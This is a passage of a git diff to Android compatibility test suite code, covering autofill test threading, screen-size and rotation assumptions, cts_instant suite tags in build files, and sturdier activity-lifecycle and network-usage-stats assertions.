--- a/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillService.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillService.java

@@ -34,6 +34,8 @@
 import android.content.IntentSender;
 import android.os.Bundle;
 import android.os.CancellationSignal;
+import android.os.Handler;
+import android.os.HandlerThread;
 import android.os.SystemClock;
 import android.service.autofill.AutofillService;
 import android.service.autofill.Dataset;
@@ -80,9 +82,20 @@
 
     protected static String sServiceLabel = SERVICE_CLASS;
 
+    // We must handle all requests in a separate thread as the service's main thread is the also
+    // the UI thread of the test process and we don't want to hose it in case of failures here
+    private static final HandlerThread sMyThread = new HandlerThread("MyServiceThread");
+    private final Handler mHandler;
+
+    static {
+        Log.i(TAG, "Starting thread " + sMyThread);
+        sMyThread.start();
+    }
+
     public InstrumentedAutoFillService() {
         sInstance.set(this);
         sServiceLabel = SERVICE_CLASS;
+        mHandler = Handler.createAsync(sMyThread.getLooper());
     }
 
     private static InstrumentedAutoFillService peekInstance() {
@@ -155,25 +168,27 @@
         return sServiceLabel;
     }
 
-    @Override
-    public void onConnected() {
+    private void handleConnected(boolean connected) {
         synchronized (sLock) {
-            Log.v(TAG, "onConnected(): connected=" + sConnected);
-            sConnected = true;
+            Log.v(TAG, "handleConnected(): from " + sConnected + " to " + connected);
+            sConnected = connected;
         }
     }
 
     @Override
+    public void onConnected() {
+        mHandler.post(()->handleConnected(true));
+    }
+
+    @Override
     public void onDisconnected() {
-        synchronized (sLock) {
-            Log.v(TAG, "onDisconnected(): connected=" + sConnected);
-            sConnected = false;
-        }
+        mHandler.post(()->handleConnected(false));
     }
 
     @Override
     public void onFillRequest(android.service.autofill.FillRequest request,
             CancellationSignal cancellationSignal, FillCallback callback) {
+
         final ComponentName component = getLastActivityComponent(request.getFillContexts());
         if (!JUnitHelper.isRunningTest()) {
             Log.e(TAG, "onFillRequest(" + component + ") called after tests finished");
@@ -195,6 +210,11 @@
     @Override
     public void onSaveRequest(android.service.autofill.SaveRequest request,
             SaveCallback callback) {
+        mHandler.post(()->handleSaveRequest(request, callback));
+    }
+
+    private void handleSaveRequest(android.service.autofill.SaveRequest request,
+            SaveCallback callback) {
         final ComponentName component = getLastActivityComponent(request.getFillContexts());
         if (!JUnitHelper.isRunningTest()) {
             Log.e(TAG, "onSaveRequest(" + component + ") called after tests finished");

diff --git a/tests/autofillservice/src/android/autofillservice/cts/MyAutofillCallback.java b/tests/autofillservice/src/android/autofillservice/cts/MyAutofillCallback.java
index 9ace89f..e60215d 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/MyAutofillCallback.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/MyAutofillCallback.java

@@ -21,6 +21,8 @@
 
 import static com.google.common.truth.Truth.assertWithMessage;
 
+import android.os.Handler;
+import android.os.HandlerThread;
 import android.util.Log;
 import android.view.View;
 import android.view.autofill.AutofillManager.AutofillCallback;
@@ -39,14 +41,33 @@
 
     public static final Timeout MY_TIMEOUT = CONNECTION_TIMEOUT;
 
+    // We must handle all requests in a separate thread as the service's main thread is the also
+    // the UI thread of the test process and we don't want to hose it in case of failures here
+    private static final HandlerThread sMyThread = new HandlerThread("MyCallbackThread");
+    private final Handler mHandler;
+
+    static {
+        Log.i(TAG, "Starting thread " + sMyThread);
+        sMyThread.start();
+    }
+
+    MyAutofillCallback() {
+        mHandler = Handler.createAsync(sMyThread.getLooper());
+    }
+
+    private void handleOffer(MyEvent event) {
+        Log.v(TAG, "handleOffer: " + event);
+        Helper.offer(mEvents, event, MY_TIMEOUT.ms());
+    }
+
     @Override
     public void onAutofillEvent(View view, int event) {
-        offer(new MyEvent(view, event));
+        mHandler.post(() -> offer(new MyEvent(view, event)));
     }
 
     @Override
     public void onAutofillEvent(View view, int childId, int event) {
-        offer(new MyEvent(view, childId, event));
+        mHandler.post(() -> offer(new MyEvent(view, childId, event)));
     }
 
     private void offer(MyEvent event) {

diff --git a/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivityTest.java
index 92fa94b..2785a48 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivityTest.java

@@ -75,7 +75,6 @@
         // Trigger autofill.
         mActivity.syncRunOnUiThread(() -> mActivity.mPreInput.requestFocus());
         sReplier.getNextFillRequest();
-        Helper.assertHasSessions(mPackageName);
 
         // Trigger save.
         mActivity.syncRunOnUiThread(() -> {
@@ -134,7 +133,6 @@
         // Trigger autofill.
         mActivity.syncRunOnUiThread(() -> mActivity.mPreInput.requestFocus());
         sReplier.getNextFillRequest();
-        Helper.assertHasSessions(mPackageName);
 
         // Trigger save.
         mActivity.syncRunOnUiThread(() -> {
@@ -194,7 +192,6 @@
         }
 
         sReplier.getNextFillRequest();
-        Helper.assertHasSessions(mPackageName);
 
         // Trigger save.
         newActivty.syncRunOnUiThread(() -> {
@@ -228,7 +225,6 @@
         // Trigger autofill.
         mActivity.syncRunOnUiThread(() -> mActivity.mPreInput.requestFocus());
         sReplier.getNextFillRequest();
-        Helper.assertHasSessions(mPackageName);
 
         // Trigger save.
         mActivity.syncRunOnUiThread(() -> {
@@ -286,7 +282,6 @@
         // Trigger autofill.
         mActivity.getAutofillManager().requestAutofill(mActivity.mPreInput);
         sReplier.getNextFillRequest();
-        Helper.assertHasSessions(mPackageName);
 
         // Trigger save.
         mActivity.syncRunOnUiThread(() -> {
@@ -321,7 +316,6 @@
         newActivty.getAutofillManager().requestAutofill(newActivty.mInput);
 
         sReplier.getNextFillRequest();
-        Helper.assertHasSessions(mPackageName);
 
         // Trigger save.
         newActivty.syncRunOnUiThread(() -> {
@@ -367,7 +361,6 @@
         // Trigger autofill.
         mActivity.syncRunOnUiThread(() -> mActivity.mPreInput.requestFocus());
         sReplier.getNextFillRequest();
-        Helper.assertHasSessions(mPackageName);
 
         // Trigger save.
         mActivity.syncRunOnUiThread(() -> {

diff --git a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
index 4d9bda9..13e397f 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java

@@ -32,6 +32,8 @@
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
+import static org.junit.Assume.assumeTrue;
+
 import android.autofillservice.cts.CannedFillResponse.CannedDataset;
 import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
 import android.autofillservice.cts.SimpleSaveActivity.FillExpectation;
@@ -191,6 +193,7 @@
 
     @Test
     public void testSave_afterRotation() throws Exception {
+        assumeTrue("Rotation is supported", Helper.isRotationSupported(mContext));
         mUiBot.setScreenOrientation(UiBot.PORTRAIT);
         try {
             saveTest(true);
@@ -218,7 +221,6 @@
         // Trigger autofill.
         mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
         sReplier.getNextFillRequest();
-        Helper.assertHasSessions(mPackageName);
 
         // Trigger save.
         mActivity.syncRunOnUiThread(() -> {
@@ -259,7 +261,6 @@
         // Trigger autofill.
         mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
         sReplier.getNextFillRequest();
-        Helper.assertHasSessions(mPackageName);
 
         // Trigger save.
         mActivity.syncRunOnUiThread(() -> {
@@ -294,7 +295,6 @@
         // Trigger autofill.
         mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
         sReplier.getNextFillRequest();
-        Helper.assertHasSessions(mPackageName);
 
         // Trigger save and start a new session right away.
         mActivity.syncRunOnUiThread(() -> {
@@ -377,7 +377,6 @@
         // Trigger autofill.
         mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
         sReplier.getNextFillRequest();
-        Helper.assertHasSessions(mPackageName);
 
         // Cancel session.
         mActivity.getAutofillManager().cancel();
@@ -428,7 +427,6 @@
         // Trigger autofill.
         mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
         sReplier.getNextFillRequest();
-        Helper.assertHasSessions(mPackageName);
 
         // Trigger save.
         mActivity.syncRunOnUiThread(() -> {
@@ -565,7 +563,6 @@
         // Trigger autofill.
         mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
         sReplier.getNextFillRequest();
-        Helper.assertHasSessions(mPackageName);
 
         // Trigger save.
         mActivity.syncRunOnUiThread(() -> {
@@ -634,7 +631,6 @@
         // Trigger autofill.
         mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
         sReplier.getNextFillRequest();
-        Helper.assertHasSessions(mPackageName);
 
         // Trigger save.
         mActivity.syncRunOnUiThread(() -> {
@@ -689,7 +685,6 @@
         }
 
         sReplier.getNextFillRequest();
-        Helper.assertHasSessions(mPackageName);
 
         // Trigger save.
         mActivity.syncRunOnUiThread(() -> {
@@ -721,7 +716,6 @@
         // Trigger autofill.
         mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
         sReplier.getNextFillRequest();
-        Helper.assertHasSessions(mPackageName);
 
         // Trigger save.
         mActivity.syncRunOnUiThread(() -> {
@@ -835,7 +829,6 @@
         // Trigger autofill.
         mActivity.getAutofillManager().requestAutofill(mActivity.mInput);
         sReplier.getNextFillRequest();
-        Helper.assertHasSessions(mPackageName);
 
         // Trigger save.
         mActivity.syncRunOnUiThread(() -> {
@@ -897,7 +890,6 @@
         // Trigger autofill.
         mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
         sReplier.getNextFillRequest();
-        Helper.assertHasSessions(mPackageName);
 
         // Trigger save.
         mActivity.syncRunOnUiThread(() -> {
@@ -1168,7 +1160,6 @@
         // Trigger autofill.
         mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
         sReplier.getNextFillRequest();
-        Helper.assertHasSessions(mPackageName);
 
         // Trigger save.
         mActivity.syncRunOnUiThread(() -> mActivity.mInput.setText("108"));
@@ -1229,7 +1220,6 @@
         // Trigger autofill.
         mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
         sReplier.getNextFillRequest();
-        Helper.assertHasSessions(mPackageName);
         // Trigger save.
         mActivity.syncRunOnUiThread(() -> {
             mActivity.mInput.setText("108");

diff --git a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
index c7cca28..216ba82 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java

@@ -32,6 +32,8 @@
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
+import static org.junit.Assume.assumeTrue;
+
 import android.app.Instrumentation;
 import android.app.UiAutomation;
 import android.content.Context;
@@ -132,8 +134,18 @@
         mOkToCallAssertNoDatasets = false;
     }
 
-    UiDevice getDevice() {
-        return mDevice;
+    /**
+     * Assumes the device has a minimum height and width of {@code minSize}, throwing a
+     * {@code AssumptionViolatedException} if it doesn't (so the test is skiped by the JUnit
+     * Runner).
+     */
+    void assumeMinimumResolution(int minSize) {
+        final int width = mDevice.getDisplayWidth();
+        final int heigth = mDevice.getDisplayHeight();
+        final int min = Math.min(width, heigth);
+        assumeTrue("Screen size is too small (" + width + "x" + heigth + ")", min >= minSize);
+        Log.d(TAG, "assumeMinimumResolution(" + minSize + ") passed: screen size is "
+                + width + "x" + heigth);
     }
 
     /**

diff --git a/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTest.java b/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTest.java
index 84370ca..be08f75 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/ViewAttributesTest.java

@@ -178,6 +178,9 @@
 
     @Test
     public void checkViewLocationInAssistStructure() throws Exception {
+        // If screen is not large enough to contain child, the height/weight will be the residual
+        // space instead of the specific size.
+        mUiBot.assumeMinimumResolution(500);
         onAssistStructure(false, (structure) -> {
                     // check size of outerView
                     AssistStructure.ViewNode outerView = findNodeByResourceId(structure,

diff --git a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java
index 5718002..ef54c78 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java

@@ -65,11 +65,11 @@
         mOutside2 = findViewById(R.id.outside2);
     }
 
-    public MyWebView loadWebView() {
-        return loadWebView(false);
+    public MyWebView loadWebView(UiBot uiBot) throws Exception {
+        return loadWebView(uiBot, false);
     }
 
-    public MyWebView loadWebView(boolean usingAppContext) {
+    public MyWebView loadWebView(UiBot uiBot, boolean usingAppContext) throws Exception {
         syncRunOnUiThread(() -> {
             final Context context = usingAppContext ? getApplicationContext() : this;
             mWebView = new MyWebView(context);
@@ -101,6 +101,11 @@
             });
             mWebView.loadUrl(FAKE_URL);
         });
+
+        // Wait until it's loaded.
+        // NOTE: we cannot search by resourceId because WebView does not set them...
+        uiBot.assertShownByText("Login"); // Login button
+
         return mWebView;
     }
 

diff --git a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
index a777497..7a1fc78 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java

@@ -74,7 +74,7 @@
         enableService();
 
         // Load WebView
-        mActivity.loadWebView();
+        mActivity.loadWebView(mUiBot);
 
         // Set expectations.
         sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
@@ -104,7 +104,7 @@
         enableService();
 
         // Load WebView
-        final MyWebView myWebView = mActivity.loadWebView(usesAppContext);
+        final MyWebView myWebView = mActivity.loadWebView(mUiBot, usesAppContext);
         // Sanity check to make sure autofill is enabled in the application context
         assertThat(myWebView.getContext().getSystemService(AutofillManager.class).isEnabled())
                 .isTrue();
@@ -186,7 +186,7 @@
         enableService();
 
         // Load WebView
-        mActivity.loadWebView();
+        mActivity.loadWebView(mUiBot);
 
         // Set expectations.
         sReplier.addResponse(new CannedFillResponse.Builder()
@@ -237,7 +237,7 @@
         enableService();
 
         // Load WebView
-        final MyWebView myWebView = mActivity.loadWebView();
+        final MyWebView myWebView = mActivity.loadWebView(mUiBot);
 
         // Set expectations.
         final MyAutofillCallback callback = mActivity.registerCallback();
@@ -320,7 +320,7 @@
         enableService();
 
         // Load views
-        final MyWebView myWebView = mActivity.loadWebView();
+        final MyWebView myWebView = mActivity.loadWebView(mUiBot);
         mActivity.loadOutsideViews();
 
         // Set expectations.
@@ -486,7 +486,7 @@
         Helper.assertTextIsSanitized(outside2FillNode);
 
         // Now load Webiew
-        final MyWebView myWebView = mActivity.loadWebView();
+        final MyWebView myWebView = mActivity.loadWebView(mUiBot);
 
         // Set expectations
         myWebView.expectAutofill("dude", "sweet");

diff --git a/tests/filesystem/Android.mk b/tests/filesystem/Android.mk
index e18754e..b6f1f7d 100644
--- a/tests/filesystem/Android.mk
+++ b/tests/filesystem/Android.mk

@@ -25,7 +25,7 @@
 LOCAL_PACKAGE_NAME := CtsFileSystemTestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
 LOCAL_SDK_VERSION := test_current
 

diff --git a/tests/fragment/Android.mk b/tests/fragment/Android.mk
index 54447f0..94a4d91 100644
--- a/tests/fragment/Android.mk
+++ b/tests/fragment/Android.mk

@@ -40,7 +40,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
 LOCAL_SDK_VERSION := current
 

diff --git a/tests/fragment/sdk26/Android.mk b/tests/fragment/sdk26/Android.mk
index 70f7d8c..5947137 100644
--- a/tests/fragment/sdk26/Android.mk
+++ b/tests/fragment/sdk26/Android.mk

@@ -33,7 +33,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
 LOCAL_SDK_VERSION := 26
 

diff --git a/tests/framework/base/activitymanager/app_base/Android.mk b/tests/framework/base/activitymanager/app_base/Android.mk
index 4f2bb3c..99a584c 100644
--- a/tests/framework/base/activitymanager/app_base/Android.mk
+++ b/tests/framework/base/activitymanager/app_base/Android.mk

@@ -14,9 +14,6 @@
     $(call all-named-files-under,Components.java, ../app) \
     $(call all-named-files-under,Components.java, ../app27) \
 
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
 LOCAL_MODULE := cts-am-app-base
 
 LOCAL_SDK_VERSION := current

diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerMultiDisplayTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerMultiDisplayTests.java
index 7886012..d853788 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerMultiDisplayTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerMultiDisplayTests.java

@@ -59,6 +59,7 @@
 import static org.junit.Assume.assumeTrue;
 
 import android.content.ComponentName;
+import android.os.SystemClock;
 import android.platform.test.annotations.Presubmit;
 import android.server.am.ActivityManagerState.ActivityDisplay;
 import android.support.test.filters.FlakyTest;
@@ -68,6 +69,7 @@
 import org.junit.Before;
 import org.junit.Test;
 
+import java.util.concurrent.TimeUnit;
 import java.util.List;
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
@@ -1564,12 +1566,27 @@
             waitAndAssertActivityResumed(TEST_ACTIVITY, newDisplay.mId,
                     "Activity launched on external display must be resumed");
 
+            final LogSeparator logSeparator = separateLogs();
+
             displayStateSession.turnScreenOff();
 
             // Wait for the fullscreen stack to start sleeping, and then make sure the
             // test activity is still resumed.
-            waitAndAssertActivityStopped(RESIZEABLE_ACTIVITY,
-                    "Activity launched on primary display must be stopped after turning off");
+            int retry = 0;
+            ActivityLifecycleCounts lifecycleCounts;
+            do {
+                lifecycleCounts = new ActivityLifecycleCounts(RESIZEABLE_ACTIVITY, logSeparator);
+                if (lifecycleCounts.mStopCount == 1) {
+                    break;
+                }
+                logAlways("***testExternalDisplayActivityTurnPrimaryOff... retry=" + retry);
+                SystemClock.sleep(TimeUnit.SECONDS.toMillis(1));
+            } while (retry++ < 5);
+
+            if (lifecycleCounts.mStopCount != 1) {
+                fail(RESIZEABLE_ACTIVITY + " has received " + lifecycleCounts.mStopCount
+                        + " onStop() calls, expecting 1");
+            }
             waitAndAssertActivityResumed(TEST_ACTIVITY, newDisplay.mId,
                     "Activity launched on external display must be resumed");
         }

diff --git a/tests/framework/base/windowmanager/Android.mk b/tests/framework/base/windowmanager/Android.mk
index a098701..850e7ad 100644
--- a/tests/framework/base/windowmanager/Android.mk
+++ b/tests/framework/base/windowmanager/Android.mk

@@ -37,7 +37,7 @@
     platform-test-annotations \
     cts-amwm-util
 
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
 LOCAL_SDK_VERSION := test_current
 

diff --git a/tests/framework/base/windowmanager/alertwindowapp/Android.mk b/tests/framework/base/windowmanager/alertwindowapp/Android.mk
index d15d4ab..524bf8e 100644
--- a/tests/framework/base/windowmanager/alertwindowapp/Android.mk
+++ b/tests/framework/base/windowmanager/alertwindowapp/Android.mk

@@ -28,7 +28,7 @@
 LOCAL_SDK_VERSION := test_current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
 LOCAL_PACKAGE_NAME := CtsDeviceAlertWindowTestApp
 

diff --git a/tests/framework/base/windowmanager/alertwindowappsdk25/Android.mk b/tests/framework/base/windowmanager/alertwindowappsdk25/Android.mk
index 2786352..81d902f 100644
--- a/tests/framework/base/windowmanager/alertwindowappsdk25/Android.mk
+++ b/tests/framework/base/windowmanager/alertwindowappsdk25/Android.mk

@@ -27,7 +27,7 @@
 LOCAL_SDK_VERSION := 25
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
 LOCAL_PACKAGE_NAME := CtsDeviceAlertWindowTestAppSdk25
 

diff --git a/tests/framework/base/windowmanager/alertwindowservice/Android.mk b/tests/framework/base/windowmanager/alertwindowservice/Android.mk
index c6dcbe5..cd72248 100644
--- a/tests/framework/base/windowmanager/alertwindowservice/Android.mk
+++ b/tests/framework/base/windowmanager/alertwindowservice/Android.mk

@@ -30,7 +30,7 @@
 LOCAL_PACKAGE_NAME := CtsAlertWindowService
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
 LOCAL_DEX_PREOPT := false
 

diff --git a/tests/framework/base/windowmanager/dndsourceapp/Android.mk b/tests/framework/base/windowmanager/dndsourceapp/Android.mk
index 7cfd03f..b21a7e4 100644
--- a/tests/framework/base/windowmanager/dndsourceapp/Android.mk
+++ b/tests/framework/base/windowmanager/dndsourceapp/Android.mk

@@ -25,7 +25,7 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
 LOCAL_PACKAGE_NAME := CtsDragAndDropSourceApp
 

diff --git a/tests/framework/base/windowmanager/dndtargetapp/Android.mk b/tests/framework/base/windowmanager/dndtargetapp/Android.mk
index d291df4..961a0ee 100644
--- a/tests/framework/base/windowmanager/dndtargetapp/Android.mk
+++ b/tests/framework/base/windowmanager/dndtargetapp/Android.mk

@@ -25,7 +25,7 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
 LOCAL_PACKAGE_NAME := CtsDragAndDropTargetApp
 

diff --git a/tests/inputmethod/mockime/Android.mk b/tests/inputmethod/mockime/Android.mk
index fee0536..5cfed53 100644
--- a/tests/inputmethod/mockime/Android.mk
+++ b/tests/inputmethod/mockime/Android.mk

@@ -21,9 +21,6 @@
 
 LOCAL_SDK_VERSION := current
 
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 LOCAL_JAVA_LIBRARIES := junit
 LOCAL_STATIC_JAVA_LIBRARIES := \

diff --git a/tests/pdf/Android.mk b/tests/pdf/Android.mk
index 788727a..c0955aa 100644
--- a/tests/pdf/Android.mk
+++ b/tests/pdf/Android.mk

@@ -33,7 +33,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
 LOCAL_PACKAGE_NAME := CtsPdfTestCases
 

diff --git a/tests/sample/Android.mk b/tests/sample/Android.mk
index 47acf07..debb500 100755
--- a/tests/sample/Android.mk
+++ b/tests/sample/Android.mk

@@ -34,7 +34,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
 LOCAL_PACKAGE_NAME := CtsSampleDeviceTestCases
 

diff --git a/tests/signature/api/Android.mk b/tests/signature/api/Android.mk
index 3924744..f4f1575 100644
--- a/tests/signature/api/Android.mk
+++ b/tests/signature/api/Android.mk

@@ -65,11 +65,11 @@
 include $(BUILD_SYSTEM)/base_rules.mk
 $(LOCAL_BUILT_MODULE) : \
         frameworks/base/api/current.txt \
-        external/apache-http/api/apache-http-legacy-current.txt \
+        external/apache-http/api/current.txt \
         | $(APICHECK)
 	@echo "Generate unique Apache Http Legacy API file -> $@"
 	@mkdir -p $(dir $@)
 	$(hide) $(APICHECK_COMMAND) -new_api_no_strip \
 	        frameworks/base/api/current.txt \
-            external/apache-http/api/apache-http-legacy-current.txt \
+            external/apache-http/api/current.txt \
             $@

diff --git a/tests/tests/animation/Android.mk b/tests/tests/animation/Android.mk
index 4bb9628..293f75f 100644
--- a/tests/tests/animation/Android.mk
+++ b/tests/tests/animation/Android.mk

@@ -37,7 +37,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
 # Enforce public / test api only
 LOCAL_SDK_VERSION := test_current

diff --git a/tests/tests/app.usage/src/android/app/usage/cts/NetworkUsageStatsTest.java b/tests/tests/app.usage/src/android/app/usage/cts/NetworkUsageStatsTest.java
index eecf520..d503b12 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/NetworkUsageStatsTest.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/NetworkUsageStatsTest.java

@@ -180,6 +180,9 @@
             urlc = (HttpURLConnection) network.openConnection(url);
             urlc.setConnectTimeout(TIMEOUT_MILLIS);
             urlc.setUseCaches(false);
+            // Disable compression so we generate enough traffic that assertWithinPercentage will
+            // not be affected by the small amount of traffic (5-10kB) sent by the test harness.
+            urlc.setRequestProperty("Accept-Encoding", "identity");
             urlc.connect();
             boolean ping = urlc.getResponseCode() == 200;
             if (ping) {
@@ -622,12 +625,37 @@
         }
     }
 
+    class QueryResult {
+        public final int tag;
+        public final int state;
+        public final long total;
+
+        public QueryResult(int tag, int state, NetworkStats stats) {
+            this.tag = tag;
+            this.state = state;
+            total = getTotalAndAssertNotEmpty(stats, tag, state);
+        }
+
+        public String toString() {
+            return String.format("QueryResult(tag=%s state=%s total=%d)",
+                    tagToString(tag), stateToString(state), total);
+        }
+    }
+
     private NetworkStats getNetworkStatsForTagState(int i, int tag, int state) {
         return mNsm.queryDetailsForUidTagState(
                 mNetworkInterfacesToTest[i].getNetworkType(), getSubscriberId(i),
                 mStartTime, mEndTime, Process.myUid(), tag, state);
     }
 
+    private void assertWithinPercentage(String msg, long expected, long actual, int percentage) {
+        long lowerBound = expected * (100 - percentage) / 100;
+        long upperBound = expected * (100 + percentage) / 100;
+        msg = String.format("%s: %d not within %d%% of %d", msg, actual, percentage, expected);
+        assertTrue(msg, lowerBound <= actual);
+        assertTrue(msg, upperBound >= actual);
+    }
+
     private void assertAlmostNoUnexpectedTraffic(NetworkStats result, int expectedTag,
             int expectedState, long maxUnexpected) {
         long total = 0;
@@ -659,18 +687,18 @@
 
                 int[] tagsWithTraffic = {NETWORK_TAG, TAG_NONE};
                 int[] statesWithTraffic = {currentState, STATE_ALL};
-                ArrayList<Long> resultsWithTraffic = new ArrayList<>();
+                ArrayList<QueryResult> resultsWithTraffic = new ArrayList<>();
 
                 int[] statesWithNoTraffic = {otherState};
                 int[] tagsWithNoTraffic = {NETWORK_TAG + 1};
-                ArrayList<Long> resultsWithNoTraffic = new ArrayList<>();
+                ArrayList<QueryResult> resultsWithNoTraffic = new ArrayList<>();
 
                 // Expect to see traffic when querying for any combination of a tag in
                 // tagsWithTraffic and a state in statesWithTraffic.
                 for (int tag : tagsWithTraffic) {
                     for (int state : statesWithTraffic) {
                         result = getNetworkStatsForTagState(i, tag, state);
-                        resultsWithTraffic.add(getTotalAndAssertNotEmpty(result, tag, state));
+                        resultsWithTraffic.add(new QueryResult(tag, state, result));
                         result.close();
                         result = null;
                     }
@@ -679,11 +707,11 @@
                 // Expect that the results are within a few percentage points of each other.
                 // This is ensures that FIN retransmits after the transfer is complete don't cause
                 // the test to be flaky. The test URL currently returns just over 100k so this
-                // should not be too noisy.
-                long firstTotal = resultsWithTraffic.get(0);
-                for (long total : resultsWithTraffic) {
-                    assertTrue(total >= firstTotal * 0.9);
-                    assertTrue(total <= firstTotal * 1.1);
+                // should not be too noisy. It also ensures that the traffic sent by the test
+                // harness, which is untagged, won't cause a failure.
+                long firstTotal = resultsWithTraffic.get(0).total;
+                for (QueryResult queryResult : resultsWithTraffic) {
+                    assertWithinPercentage(queryResult + "", firstTotal, queryResult.total, 10);
                 }
 
                 // Expect to see no traffic when querying for any tag in tagsWithNoTraffic or any

diff --git a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
index 33926b2..40f1173 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java

@@ -49,6 +49,7 @@
 import android.util.Log;
 import android.util.SparseArray;
 import android.util.SparseLongArray;
+import android.view.KeyEvent;
 
 import com.android.compatibility.common.util.AppStandbyUtils;
 
@@ -106,7 +107,7 @@
         mUsageStatsManager = (UsageStatsManager) InstrumentationRegistry.getInstrumentation()
                 .getContext().getSystemService(Context.USAGE_STATS_SERVICE);
